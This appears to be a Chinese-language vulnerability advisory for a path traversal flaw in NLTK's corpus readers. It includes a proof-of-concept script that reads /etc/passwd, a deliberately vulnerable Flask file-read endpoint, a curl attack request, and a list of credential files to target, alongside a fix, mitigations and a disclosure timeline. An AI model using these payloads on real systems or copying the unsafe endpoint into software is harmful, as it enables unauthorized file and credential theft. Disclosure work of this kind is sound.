| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-0847 |
| 软件包 | nltk(自然语言工具包) |
| 仓库 | PyPI |
| 受影响版本 | <= 3.9.2 |
| 漏洞类型 | CWE-22:路径遍历 |
| CVSS 评分 | 8.6(高危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 机密性影响 | 高 |
| 完整性影响 | 低 |
| 可用性影响 | 低 |
| 报告日期 | 2025 年 12 月 4 日 |
| CVE 发布日期 | 2026 年 3 月 4 日 |
| 支持方 | Palo Alto Networks / Prisma AIRS |
| 状态 | 已修复 |
NLTK 库中的多个 CorpusReader 类接受文件路径参数,但未应用任何路径规范化、白名单验证或沙箱限制。当攻击者能够控制语料库文件名或文件输入时(这在机器学习 API、基于上传的 NLP 流水线和聊天机器人服务中很常见),他们可以提供一个精心构造的路径来遍历目录层级并读取服务器上的任意文件。
在网络化部署中,NLTK 处理用户控制的文件路径时,此漏洞尤为严重,因为利用它不需要任何身份验证或权限。
这三个类都继承了同一个不安全的 CorpusReader.open() 方法,该方法在解析并读取所提供的文件标识符之前不执行任何路径限制。
成功利用此漏洞可能导致:
/etc/passwd、/etc/shadow 和 /var/log/auth.log~/.ssh/id_rsa)、.env 文件、API 令牌和云凭据文件此信息仅用于教育和防御目的。请勿对您不拥有或未经明确授权的系统进行测试。
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
输出(节选):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
NLTK 通过 HTTP API 暴露时的现实场景:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
攻击者请求:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
结果: /etc/passwd 的完整内容在无需任何身份验证的情况下返回给攻击者。
该漏洞源于 CorpusReader.open()。该方法使用 FileSystemPathPointer.join() 直接根据配置的根路径解析所提供的 fileid,而不执行以下任何检查:
..)由于 FileSystemPathPointer 可以使用 / 进行初始化,因此控制 filename 参数的攻击者可以不受限制地读取整个文件系统。
研究人员提出的最小修复方案,应应用于 CorpusReader.open() 内部:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
上游修复 PR 位于: https://github.com/nltk/nltk/pull/3479
通过 pip 升级:
pip install --upgrade nltk
验证已安装版本:
python -c "import nltk; print(nltk.__version__)"
本仓库记录 CVE-2026-0847 严格用于教育、研究和防御性安全目的。提供概念验证代码和技术细节旨在帮助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。
任何使用此信息在未经明确授权的情况下访问系统的行为都是非法且不道德的。作者对滥用本文所含信息不承担任何责任。
贡献者 @mohitf070304
| 类 | 文件 | 状态 |
|---|
WordListCorpusReader | wordlist.py L1–L120 | 易受攻击 |
TaggedCorpusReader | tagged.py L1–L140 | 易受攻击 |
BracketParseCorpusReader | bracket_parse.py L1–L150 | 易受攻击 |
| 使用相同基类模式的其他类 | — | 待更广泛的审计 |
| 操作 | 详情 |
|---|
| 升级 NLTK | 官方补丁发布后,升级到高于 3.9.2 的版本 |
| 输入验证 | 在将用户提供的文件路径值传递给任何 NLTK CorpusReader 类之前,对其进行清理和验证 |
| 避免用户控制的路径 | 不允许用户输入直接或间接控制任何 CorpusReader 的 fileids 参数 |
| 最小权限 | 在受限的 OS 用户账户下运行基于 NLTK 的服务,读取权限仅限于语料库目录 |
| 容器化 | 将服务隔离在 Docker 容器或 chroot 监狱中,以限制成功遍历的爆炸半径 |
| Ubuntu 补丁 | 监控 Ubuntu 安全公告 以获取发行版级别的软件包更新 |
| 日期 | 事件 |
|---|
| 2025 年 12 月 4 日 | 研究人员 hyperps1 向 huntr.dev 报告漏洞 |
| 2025 年 12 月 | 通过 huntr.dev 通知 NLTK 维护团队 |
| 2026 年 1 月 | NLTK 维护者验证了该漏洞;向研究人员颁发了披露奖励 |
| 2026 年 1 月 | 分配 CVE-2026-0847 |
| 2026 年 2 月 | 向 NLTK 维护者发送了 48 小时发布前预警 |
| 2026 年 3 月 4 日 | CVE 在 NVD 和 huntr.dev 上发布 |
| 2026 年 3 月 5 日 | NVD 记录最后修改 |
| 资源 | 链接 |
|---|
| NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Ubuntu 安全公告 | https://ubuntu.com/security/CVE-2026-0847 |
| 官方 CVE 记录 | https://cve.org/CVERecord?id=CVE-2026-0847 |
| huntr.dev 报告 | https://huntr.dev |
| 修复 Pull Request | https://github.com/nltk/nltk/pull/3479 |
| PyPI 上的 NLTK | https://pypi.org/project/nltk/ |
| OWASP 路径遍历 | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |